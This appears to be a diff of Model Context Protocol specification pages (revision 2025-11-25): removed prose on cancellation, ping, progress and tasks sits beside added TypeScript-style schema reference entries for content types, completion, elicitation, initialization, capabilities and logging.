-1. Cancellation notifications **MUST** only reference requests that: - * Were previously issued in the same direction - * Are believed to still be in-progress -2. The `initialize` request **MUST NOT** be cancelled by clients -3. For [task-augmented requests](./tasks), the `tasks/cancel` request **MUST** be used instead of the `notifications/cancelled` notification. Tasks have their own dedicated cancellation mechanism that returns the final task state. -4. Receivers of cancellation notifications **SHOULD**: - * Stop processing the cancelled request - * Free associated resources - * Not send a response for the cancelled request -5. Receivers **MAY** ignore cancellation notifications if: - * The referenced request is unknown - * Processing has already completed - * The request cannot be cancelled -6. The sender of the cancellation notification **SHOULD** ignore any response to the - request that arrives afterward +
+ ### `LoggingLevel` -## Timing Considerations +
LoggingLevel:
  | "debug"
  | "info"
  | "notice"
  | "warning"
  | "error"
  | "critical"
  | "alert"
  | "emergency"

The severity of a log message.

These map to syslog message severities, as specified in RFC-5424: [https://datatracker.ietf.org/doc/html/rfc5424#section-6.2.1](https://datatracker.ietf.org/doc/html/rfc5424#section-6.2.1)

+
-Due to network latency, cancellation notifications may arrive after request processing -has completed, and potentially after a response has already been sent. +
+ ### `ProgressToken` -Both parties **MUST** handle these race conditions gracefully: +
ProgressToken: string | number

A progress token, used to associate progress notifications with the original request.

+
-```mermaid theme={null} -sequenceDiagram - participant Client - participant Server +
+ ### `RequestId` - Client->>Server: Request (ID: 123) - Note over Server: Processing starts - Client--)Server: notifications/cancelled (ID: 123) - alt - Note over Server: Processing may have
completed before
cancellation arrives - else If not completed - Note over Server: Stop processing - end -``` +
RequestId: string | number

A uniquely identifying ID for a request in JSON-RPC.

+
-## Implementation Notes +
+ ### `Result` -* Both parties **SHOULD** log cancellation reasons for debugging -* Application UIs **SHOULD** indicate when cancellation is requested +
interface Result \{
  \_meta?: \{ \[key: string]: unknown };
  \[key: string]: unknown;
}
\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-## Error Handling +
+ ### `Role` -Invalid cancellation notifications **SHOULD** be ignored: +
Role: "user" | "assistant"

The sender or recipient of messages and data in a conversation.

+
-* Unknown request IDs -* Already completed requests -* Malformed notifications +## Content -This maintains the "fire and forget" nature of notifications while allowing for race -conditions in asynchronous communication. +
+ ### `AudioContent` +
interface AudioContent \{
  type: "audio";
  data: string;
  mimeType: string;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

Audio provided to or from an LLM.

type: "audio"
data: string

The base64-encoded audio data.

mimeType: string

The MIME type of the audio. Different providers may support different audio types.

annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-# Ping -Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/ping +
+ ### `BlobResourceContents` +
interface BlobResourceContents \{
  uri: string;
  mimeType?: string;
  \_meta?: \{ \[key: string]: unknown };
  blob: string;
}
uri: string

The URI of this resource.

mimeType?: string

The MIME type of this resource, if known.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

blob: string

A base64-encoded string representing the binary data of the item.

+
+
+ ### `ContentBlock` -
+
ContentBlock:
  | TextContent
  | ImageContent
  | AudioContent
  | ResourceLink
  | EmbeddedResource
+
-**Protocol Revision**: 2025-11-25 +
+ ### `EmbeddedResource` -The Model Context Protocol includes an optional ping mechanism that allows either party -to verify that their counterpart is still responsive and the connection is alive. +
interface EmbeddedResource \{
  type: "resource";
  resource: TextResourceContents | BlobResourceContents;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

The contents of a resource, embedded into a prompt or tool call result.

It is up to the client how best to render embedded resources for the benefit + of the LLM and/or the user.

type: "resource"
resource: TextResourceContents | BlobResourceContents
annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-## Overview +
+ ### `ImageContent` -The ping functionality is implemented through a simple request/response pattern. Either -the client or server can initiate a ping by sending a `ping` request. +
interface ImageContent \{
  type: "image";
  data: string;
  mimeType: string;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

An image provided to or from an LLM.

type: "image"
data: string

The base64-encoded image data.

mimeType: string

The MIME type of the image. Different providers may support different image types.

annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-## Message Format +
+ ### `ResourceLink` -A ping request is a standard JSON-RPC request with no parameters: +
interface ResourceLink \{
  icons?: Icon\[];
  name: string;
  title?: string;
  uri: string;
  description?: string;
  mimeType?: string;
  annotations?: Annotations;
  size?: number;
  \_meta?: \{ \[key: string]: unknown };
  type: "resource\_link";
}

A resource that the server is capable of reading, included in a prompt or tool call result.

Note: resource links returned by tools are not guaranteed to appear in the results of resources/list requests.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, + even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, + where annotations.title should be given precedence over using name, + if present).

uri: string

The URI of this resource.

description?: string

A description of what this resource represents.

This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.

mimeType?: string

The MIME type of this resource, if known.

annotations?: Annotations

Optional annotations for the client.

size?: number

The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.

This can be used by Hosts to display file sizes and estimate context window usage.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

type: "resource\_link"
+
-```json theme={null} -{ - "jsonrpc": "2.0", - "id": "123", - "method": "ping" -} -``` +
+ ### `TextContent` -## Behavior Requirements +
interface TextContent \{
  type: "text";
  text: string;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

Text provided to or from an LLM.

type: "text"
text: string

The text content of the message.

annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

+
-1. The receiver **MUST** respond promptly with an empty response: +
+ ### `TextResourceContents` -```json theme={null} -{ - "jsonrpc": "2.0", - "id": "123", - "result": {} -} -``` +
interface TextResourceContents \{
  uri: string;
  mimeType?: string;
  \_meta?: \{ \[key: string]: unknown };
  text: string;
}
uri: string

The URI of this resource.

mimeType?: string

The MIME type of this resource, if known.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

text: string

The text of the item. This must only be set if the item can actually be represented as text (not binary data).

+
-2. If no response is received within a reasonable timeout period, the sender **MAY**: - * Consider the connection stale - * Terminate the connection - * Attempt reconnection procedures +## `completion/complete` -## Usage Patterns +
+ ### `CompleteRequest` -```mermaid theme={null} -sequenceDiagram - participant Sender - participant Receiver +
interface CompleteRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "completion/complete";
  params: CompleteRequestParams;
}

A request from the client to the server, to ask for completion options.

jsonrpc: "2.0"
id: RequestId
method: "completion/complete"
params: CompleteRequestParams
+
- Sender->>Receiver: ping request - Receiver->>Sender: empty response -``` +
+ ### `CompleteRequestParams` -## Implementation Considerations +
interface CompleteRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  ref: PromptReference | ResourceTemplateReference;
  argument: \{ name: string; value: string };
  context?: \{ arguments?: \{ \[key: string]: string } };
}

Parameters for a completion/complete request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

ref: PromptReference | ResourceTemplateReference
argument: \{ name: string; value: string }

The argument's information

Type Declaration
  • name: string

    The name of the argument

  • value: string

    The value of the argument to use for completion matching.

context?: \{ arguments?: \{ \[key: string]: string } }

Additional, optional context for completions

Type Declaration
  • Optionalarguments?: \{ \[key: string]: string }

    Previously-resolved variables in a URI template or prompt.

+
-* Implementations **SHOULD** periodically issue pings to detect connection health -* The frequency of pings **SHOULD** be configurable -* Timeouts **SHOULD** be appropriate for the network environment -* Excessive pinging **SHOULD** be avoided to reduce network overhead +
+ ### `CompleteResult` -## Error Handling +
interface CompleteResult \{
  \_meta?: \{ \[key: string]: unknown };
  completion: \{ values: string\[]; total?: number; hasMore?: boolean };
  \[key: string]: unknown;
}

The server's response to a completion/complete request

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

completion: \{ values: string\[]; total?: number; hasMore?: boolean }
Type Declaration
  • values: string\[]

    An array of completion values. Must not exceed 100 items.

  • Optionaltotal?: number

    The total number of completion options available. This can exceed the number of values actually sent in the response.

  • OptionalhasMore?: boolean

    Indicates whether there are additional completion options beyond those provided in the current response, even if the exact total is unknown.

+
-* Timeouts **SHOULD** be treated as connection failures -* Multiple failed pings **MAY** trigger connection reset -* Implementations **SHOULD** log ping failures for diagnostics +
+ ### `PromptReference` +
interface PromptReference \{
  name: string;
  title?: string;
  type: "ref/prompt";
}

Identifies a prompt.

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, + even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, + where annotations.title should be given precedence over using name, + if present).

type: "ref/prompt"
+
-# Progress -Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/progress +
+ ### `ResourceTemplateReference` +
interface ResourceTemplateReference \{
  type: "ref/resource";
  uri: string;
}

A reference to a resource or resource template definition.

type: "ref/resource"
uri: string

The URI or URI template of the resource.

+
+## `elicitation/create` -
+
+ ### `ElicitRequest` -**Protocol Revision**: 2025-11-25 +
interface ElicitRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "elicitation/create";
  params: ElicitRequestParams;
}

A request from the server to elicit additional information from the user via the client.

jsonrpc: "2.0"
id: RequestId
method: "elicitation/create"
params: ElicitRequestParams
+
-The Model Context Protocol (MCP) supports optional progress tracking for long-running -operations through notification messages. Either side can send progress notifications to -provide updates about operation status. +
+ ### `ElicitRequestParams` -## Progress Flow +

The parameters for a request to elicit additional information from the user via the client.

+
-When a party wants to *receive* progress updates for a request, it includes a -`progressToken` in the request metadata. +
+ ### `ElicitResult` -* Progress tokens **MUST** be a string or integer value -* Progress tokens can be chosen by the sender using any means, but **MUST** be unique - across all active requests. +
interface ElicitResult \{
  \_meta?: \{ \[key: string]: unknown };
  action: "accept" | "decline" | "cancel";
  content?: \{ \[key: string]: string | number | boolean | string\[] };
  \[key: string]: unknown;
}

The client's response to an elicitation request.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

action: "accept" | "decline" | "cancel"

The user action in response to the elicitation.

  • "accept": User submitted the form/confirmed the action
  • "decline": User explicitly decline the action
  • "cancel": User dismissed without making an explicit choice
content?: \{ \[key: string]: string | number | boolean | string\[] }

The submitted form data, only present when action is "accept" and mode was "form". + Contains values matching the requested schema. + Omitted for out-of-band mode responses.

+
-```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "method": "some_method", - "params": { - "_meta": { - "progressToken": "abc123" - } - } -} -``` +
+ ### `BooleanSchema` -The receiver **MAY** then send progress notifications containing: +
interface BooleanSchema \{
  type: "boolean";
  title?: string;
  description?: string;
  default?: boolean;
}
type: "boolean"
title?: string
description?: string
default?: boolean
+
-* The original progress token -* The current progress value so far -* An optional "total" value -* An optional "message" value +
+ ### `ElicitRequestFormParams` -```json theme={null} -{ - "jsonrpc": "2.0", - "method": "notifications/progress", - "params": { - "progressToken": "abc123", - "progress": 50, - "total": 100, - "message": "Reticulating splines..." - } -} -``` +
interface ElicitRequestFormParams \{
  task?: TaskMetadata;
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  mode?: "form";
  message: string;
  requestedSchema: \{
    \$schema?: string;
    type: "object";
    properties: \{ \[key: string]: PrimitiveSchemaDefinition };
    required?: string\[];
  };
}

The parameters for a request to elicit non-sensitive information from the user via a form in the client.

task?: TaskMetadata

If specified, the caller is requesting task-augmented execution for this request. + The request will return a CreateTaskResult immediately, and the actual result can be + retrieved later via tasks/result.

Task augmentation is subject to capability negotiation - receivers MUST declare support + for task augmentation of specific request types in their capabilities.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

mode?: "form"

The elicitation mode.

message: string

The message to present to the user describing what information is being requested.

requestedSchema: \{ \$schema?: string; type: "object"; properties: \{ \[key: string]: PrimitiveSchemaDefinition }; required?: string\[]; }

A restricted subset of JSON Schema. + Only top-level properties are allowed, without nesting.

+
-* The `progress` value **MUST** increase with each notification, even if the total is - unknown. -* The `progress` and the `total` values **MAY** be floating point. -* The `message` field **SHOULD** provide relevant human readable progress information. +
+ ### `ElicitRequestURLParams` -## Behavior Requirements +
interface ElicitRequestURLParams \{
  task?: TaskMetadata;
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  mode: "url";
  message: string;
  elicitationId: string;
  url: string;
}

The parameters for a request to elicit information from the user via a URL in the client.

task?: TaskMetadata

If specified, the caller is requesting task-augmented execution for this request. + The request will return a CreateTaskResult immediately, and the actual result can be + retrieved later via tasks/result.

Task augmentation is subject to capability negotiation - receivers MUST declare support + for task augmentation of specific request types in their capabilities.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

mode: "url"

The elicitation mode.

message: string

The message to present to the user explaining why the interaction is needed.

elicitationId: string

The ID of the elicitation, which must be unique within the context of the server. + The client MUST treat this ID as an opaque value.

url: string

The URL that the user should navigate to.

+
-1. Progress notifications **MUST** only reference tokens that: - * Were provided in an active request - * Are associated with an in-progress operation +
+ ### `EnumSchema` + + +
+ +
+ ### `LegacyTitledEnumSchema` + +
interface LegacyTitledEnumSchema \{
  type: "string";
  title?: string;
  description?: string;
  enum: string\[];
  enumNames?: string\[];
  default?: string;
}

Use TitledSingleSelectEnumSchema instead. + This interface will be removed in a future version.

type: "string"
title?: string
description?: string
enum: string\[]
enumNames?: string\[]

(Legacy) Display names for enum values. + Non-standard according to JSON schema 2020-12.

default?: string
+
+ +
+ ### `MultiSelectEnumSchema` + + +
-2. Receivers of progress requests **MAY**: - * Choose not to send any progress notifications - * Send notifications at whatever frequency they deem appropriate - * Omit the total value if unknown +
+ ### `NumberSchema` -3. For [task-augmented requests](./tasks), the `progressToken` provided in the original request **MUST** continue to be used for progress notifications throughout the task's lifetime, even after the `CreateTaskResult` has been returned. The progress token remains valid and associated with the task until the task reaches a terminal status. - * Progress notifications for tasks **MUST** use the same `progressToken` that was provided in the initial task-augmented request - * Progress notifications for tasks **MUST** stop after the task reaches a terminal status (`completed`, `failed`, or `cancelled`) +
interface NumberSchema \{
  type: "number" | "integer";
  title?: string;
  description?: string;
  minimum?: number;
  maximum?: number;
  default?: number;
}
type: "number" | "integer"
title?: string
description?: string
minimum?: number
maximum?: number
default?: number
+
-```mermaid theme={null} -sequenceDiagram - participant Sender - participant Receiver +
+ ### `PrimitiveSchemaDefinition` - Note over Sender,Receiver: Request with progress token - Sender->>Receiver: Method request with progressToken +
PrimitiveSchemaDefinition:
  | StringSchema
  | NumberSchema
  | BooleanSchema
  | EnumSchema

Restricted schema definitions that only allow primitive types + without nested objects or arrays.

+
- Note over Sender,Receiver: Progress updates - Receiver-->>Sender: Progress notification (0.2/1.0) - Receiver-->>Sender: Progress notification (0.6/1.0) - Receiver-->>Sender: Progress notification (1.0/1.0) +
+ ### `SingleSelectEnumSchema` - Note over Sender,Receiver: Operation complete - Receiver->>Sender: Method response -``` + +
-## Implementation Notes +
+ ### `StringSchema` -* Senders and receivers **SHOULD** track active progress tokens -* Both parties **SHOULD** implement rate limiting to prevent flooding -* Progress notifications **MUST** stop after completion +
interface StringSchema \{
  type: "string";
  title?: string;
  description?: string;
  minLength?: number;
  maxLength?: number;
  format?: "uri" | "email" | "date" | "date-time";
  default?: string;
}
type: "string"
title?: string
description?: string
minLength?: number
maxLength?: number
format?: "uri" | "email" | "date" | "date-time"
default?: string
+
+
+ ### `TitledMultiSelectEnumSchema` -# Tasks -Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/tasks +
interface TitledMultiSelectEnumSchema \{
  type: "array";
  title?: string;
  description?: string;
  minItems?: number;
  maxItems?: number;
  items: \{ anyOf: \{ const: string; title: string }\[] };
  default?: string\[];
}

Schema for multiple-selection enumeration with display titles for each option.

type: "array"
title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

minItems?: number

Minimum number of items to select.

maxItems?: number

Maximum number of items to select.

items: \{ anyOf: \{ const: string; title: string }\[] }

Schema for array items with enum options and display labels.

Type Declaration
  • anyOf: \{ const: string; title: string }\[]

    Array of enum options with values and display labels.

default?: string\[]

Optional default value.

+
+
+ ### `TitledSingleSelectEnumSchema` +
interface TitledSingleSelectEnumSchema \{
  type: "string";
  title?: string;
  description?: string;
  oneOf: \{ const: string; title: string }\[];
  default?: string;
}

Schema for single-selection enumeration with display titles for each option.

type: "string"
title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

oneOf: \{ const: string; title: string }\[]

Array of enum options with values and display labels.

Type Declaration
  • const: string

    The enum value.

  • title: string

    Display label for this option.

default?: string

Optional default value.

+
-
+
+ ### `UntitledMultiSelectEnumSchema` -**Protocol Revision**: 2025-11-25 +
interface UntitledMultiSelectEnumSchema \{
  type: "array";
  title?: string;
  description?: string;
  minItems?: number;
  maxItems?: number;
  items: \{ type: "string"; enum: string\[] };
  default?: string\[];
}

Schema for multiple-selection enumeration without display titles for options.

type: "array"
title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

minItems?: number

Minimum number of items to select.

maxItems?: number

Maximum number of items to select.

items: \{ type: "string"; enum: string\[] }

Schema for the array items.

Type Declaration
  • type: "string"
  • enum: string\[]

    Array of enum values to choose from.

default?: string\[]

Optional default value.

+
- - Tasks were introduced in version 2025-11-25 of the MCP specification and are currently considered **experimental**. - The design and behavior of tasks may evolve in future protocol versions. - +
+ ### `UntitledSingleSelectEnumSchema` -The Model Context Protocol (MCP) allows requestors — which can be either clients or servers, depending on the direction of communication — to augment their requests with **tasks**. Tasks are durable state machines that carry information about the underlying execution state of the request they wrap, and are intended for requestor polling and deferred result retrieval. Each task is uniquely identifiable by a receiver-generated **task ID**. +
interface UntitledSingleSelectEnumSchema \{
  type: "string";
  title?: string;
  description?: string;
  enum: string\[];
  default?: string;
}

Schema for single-selection enumeration without display titles for options.

type: "string"
title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

enum: string\[]

Array of enum values to choose from.

default?: string

Optional default value.

+
-Tasks are useful for representing expensive computations and batch processing requests, and integrate seamlessly with external job APIs. +## `initialize` -## Definitions +
+ ### `InitializeRequest` -Tasks represent parties as either "requestors" or "receivers," defined as follows: +
interface InitializeRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "initialize";
  params: InitializeRequestParams;
}

This request is sent from the client to the server when it first connects, asking it to begin initialization.

jsonrpc: "2.0"
id: RequestId
method: "initialize"
params: InitializeRequestParams
+
-* **Requestor:** The sender of a task-augmented request. This can be the client or the server — either can create tasks. -* **Receiver:** The receiver of a task-augmented request, and the entity executing the task. This can be the client or the server — either can receive and execute tasks. +
+ ### `InitializeRequestParams` -## User Interaction Model +
interface InitializeRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  protocolVersion: string;
  capabilities: ClientCapabilities;
  clientInfo: Implementation;
}

Parameters for an initialize request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

protocolVersion: string

The latest version of the Model Context Protocol that the client supports. The client MAY decide to support older versions as well.

capabilities: ClientCapabilities
clientInfo: Implementation
+
-Tasks are designed to be **requestor-driven** - requestors are responsible for augmenting requests with tasks and for polling for the results of those tasks; meanwhile, receivers tightly control which requests (if any) support task-based execution and manages the lifecycles of those tasks. +
+ ### `InitializeResult` -This requestor-driven approach ensures deterministic response handling and enables sophisticated patterns such as dispatching concurrent requests, which only the requestor has sufficient context to orchestrate. +
interface InitializeResult \{
  \_meta?: \{ \[key: string]: unknown };
  protocolVersion: string;
  capabilities: ServerCapabilities;
  serverInfo: Implementation;
  instructions?: string;
  \[key: string]: unknown;
}

After receiving an initialize request from the client, the server sends this response.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

protocolVersion: string

The version of the Model Context Protocol that the server wants to use. This may not match the version that the client requested. If the client cannot support this version, it MUST disconnect.

capabilities: ServerCapabilities
serverInfo: Implementation
instructions?: string

Instructions describing how to use the server and its features.

This can be used by clients to improve the LLM's understanding of available tools, resources, etc. It can be thought of like a "hint" to the model. For example, this information MAY be added to the system prompt.

+
-Implementations are free to expose tasks through any interface pattern that suits their needs — the protocol itself does not mandate any specific user interaction model. +
+ ### `ClientCapabilities` -## Capabilities +
interface ClientCapabilities \{
  experimental?: \{ \[key: string]: object };
  roots?: \{ listChanged?: boolean };
  sampling?: \{ context?: object; tools?: object };
  elicitation?: \{ form?: object; url?: object };
  tasks?: \{
    list?: object;
    cancel?: object;
    requests?: \{
      sampling?: \{ createMessage?: object };
      elicitation?: \{ create?: object };
    };
  };
}

Capabilities a client may support. Known capabilities are defined here, in this schema, but this is not a closed set: any client can define its own, additional capabilities.

experimental?: \{ \[key: string]: object }

Experimental, non-standard capabilities that the client supports.

roots?: \{ listChanged?: boolean }

Present if the client supports listing roots.

Type Declaration
  • OptionallistChanged?: boolean

    Whether the client supports notifications for changes to the roots list.

sampling?: \{ context?: object; tools?: object }

Present if the client supports sampling from an LLM.

Type Declaration
  • Optionalcontext?: object

    Whether the client supports context inclusion via includeContext parameter. + If not declared, servers SHOULD only use includeContext: "none" (or omit it).

  • Optionaltools?: object

    Whether the client supports tool use via tools and toolChoice parameters.

elicitation?: \{ form?: object; url?: object }

Present if the client supports elicitation from the server.

tasks?: \{ list?: object; cancel?: object; requests?: \{ sampling?: \{ createMessage?: object }; elicitation?: \{ create?: object }; }; }

Present if the client supports task-augmented requests.

Type Declaration
  • Optionallist?: object

    Whether this client supports tasks/list.

  • Optionalcancel?: object

    Whether this client supports tasks/cancel.

  • Optionalrequests?: \{ sampling?: \{ createMessage?: object }; elicitation?: \{ create?: object } }

    Specifies which request types can be augmented with tasks.

    • Optionalsampling?: \{ createMessage?: object }

      Task support for sampling-related requests.

      • OptionalcreateMessage?: object

        Whether the client supports task-augmented sampling/createMessage requests.

    • Optionalelicitation?: \{ create?: object }

      Task support for elicitation-related requests.

      • Optionalcreate?: object

        Whether the client supports task-augmented elicitation/create requests.

+
-Servers and clients that support task-augmented requests **MUST** declare a `tasks` capability during initialization. The `tasks` capability is structured by request category, with boolean properties indicating which specific request types support task augmentation. +
+ ### `Implementation` -### Server Capabilities +
interface Implementation \{
  icons?: Icon\[];
  name: string;
  title?: string;
  version: string;
  description?: string;
  websiteUrl?: string;
}

Describes the MCP implementation.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, + even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, + where annotations.title should be given precedence over using name, + if present).

version: string
description?: string

An optional human-readable description of what this implementation does.

This can be used by clients or servers to provide context about their purpose + and capabilities. For example, a server might describe the types of resources + or tools it provides, while a client might describe its intended use case.

websiteUrl?: string

An optional URL of the website for this implementation.

+
-Servers declare if they support tasks, and if so, which server-side requests can be augmented with tasks. +
+ ### `ServerCapabilities` -| Capability | Description | -| --------------------------- | ---------------------------------------------------- | -| `tasks.list` | Server supports the `tasks/list` operation | -| `tasks.cancel` | Server supports the `tasks/cancel` operation | -| `tasks.requests.tools.call` | Server supports task-augmented `tools/call` requests | +
interface ServerCapabilities \{
  experimental?: \{ \[key: string]: object };
  logging?: object;
  completions?: object;
  prompts?: \{ listChanged?: boolean };
  resources?: \{ subscribe?: boolean; listChanged?: boolean };
  tools?: \{ listChanged?: boolean };
  tasks?: \{
    list?: object;
    cancel?: object;
    requests?: \{ tools?: \{ call?: object } };
  };
}

Capabilities that a server may support. Known capabilities are defined here, in this schema, but this is not a closed set: any server can define its own, additional capabilities.

experimental?: \{ \[key: string]: object }

Experimental, non-standard capabilities that the server supports.

logging?: object

Present if the server supports sending log messages to the client.

completions?: object

Present if the server supports argument autocompletion suggestions.

prompts?: \{ listChanged?: boolean }

Present if the server offers any prompt templates.

Type Declaration
  • OptionallistChanged?: boolean

    Whether this server supports notifications for changes to the prompt list.

resources?: \{ subscribe?: boolean; listChanged?: boolean }

Present if the server offers any resources to read.

Type Declaration
  • Optionalsubscribe?: boolean

    Whether this server supports subscribing to resource updates.

  • OptionallistChanged?: boolean

    Whether this server supports notifications for changes to the resource list.

tools?: \{ listChanged?: boolean }

Present if the server offers any tools to call.

Type Declaration
  • OptionallistChanged?: boolean

    Whether this server supports notifications for changes to the tool list.

tasks?: \{ list?: object; cancel?: object; requests?: \{ tools?: \{ call?: object } }; }

Present if the server supports task-augmented requests.

Type Declaration
  • Optionallist?: object

    Whether this server supports tasks/list.

  • Optionalcancel?: object

    Whether this server supports tasks/cancel.

  • Optionalrequests?: \{ tools?: \{ call?: object } }

    Specifies which request types can be augmented with tasks.

    • Optionaltools?: \{ call?: object }

      Task support for tool-related requests.

      • Optionalcall?: object

        Whether the server supports task-augmented tools/call requests.

+
-```json theme={null} -{ - "capabilities": { - "tasks": { - "list": {}, - "cancel": {}, - "requests": { - "tools": { - "call": {} - } - } - } - } -} -``` +## `logging/setLevel` -### Client Capabilities +
+ ### `SetLevelRequest` -Clients declare if they support tasks, and if so, which client-side requests can be augmented with tasks. +
interface SetLevelRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "logging/setLevel";
  params: SetLevelRequestParams;
}

A request from the client to the server, to enable or adjust logging.

jsonrpc: "2.0"
id: RequestId
method: "logging/setLevel"
params: SetLevelRequestParams
+
-| Capability | Description | -| --------------------------------------- | ---------------------------------------------------------------- | -| `tasks.list` | Client supports the `tasks/list` operation | -| `tasks.cancel` | Client supports the `tasks/cancel` operation | -| `tasks.requests.sampling.createMessage` | Client supports task-augmented `sampling/createMessage` requests | -| `tasks.requests.elicitation.create` | Client supports task-augmented `elicitation/create` requests | +
+ ### `SetLevelRequestParams` -```json theme={null} -{ - "capabilities": { - "tasks": { - "list": {}, - "cancel": {}, - "requests": { - "sampling": { - "createMessage": {} - }, - "elicitation": { - "create": {} - } - } - } - } -} -``` +
interface SetLevelRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  level: LoggingLevel;
}

Parameters for a logging/setLevel request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

level: LoggingLevel

The level of logging that the client wants to receive from the server. The server should send all logs at this level and higher (i.e., more severe) to the client as notifications/message.

+
-### Capability Negotiation +## `notifications/cancelled` -During the initialization phase, both parties exchange their `tasks` capabilities to establish which operations support task-based execution. Requestors **SHOULD** only augment requests with a task if the corresponding capability has been declared by the receiver. +
+ ### `CancelledNotification` -For example, if a server's capabilities include `tasks.requests.tools.call: {}`, then clients may augment `tools/call` requests with a task. If a client's capabilities include `tasks.requests.sampling.createMessage: {}`, then servers may augment `sampling/createMessage` requests with a task. +
interface CancelledNotification \{
  jsonrpc: "2.0";
  method: "notifications/cancelled";
  params: CancelledNotificationParams;
}

This notification can be sent by either side to indicate that it is cancelling a previously-issued request.

The request SHOULD still be in-flight, but due to communication latency, it is always possible that this notification MAY arrive after the request has already finished.

This notification indicates that the result will be unused, so any associated processing SHOULD cease.

A client MUST NOT attempt to cancel its initialize request.

For task cancellation, use the tasks/cancel request instead of this notification.

jsonrpc: "2.0"
method: "notifications/cancelled"
params: CancelledNotificationParams
+
-If `capabilities.tasks` is not defined, the peer **SHOULD NOT** attempt to create tasks during requests. +
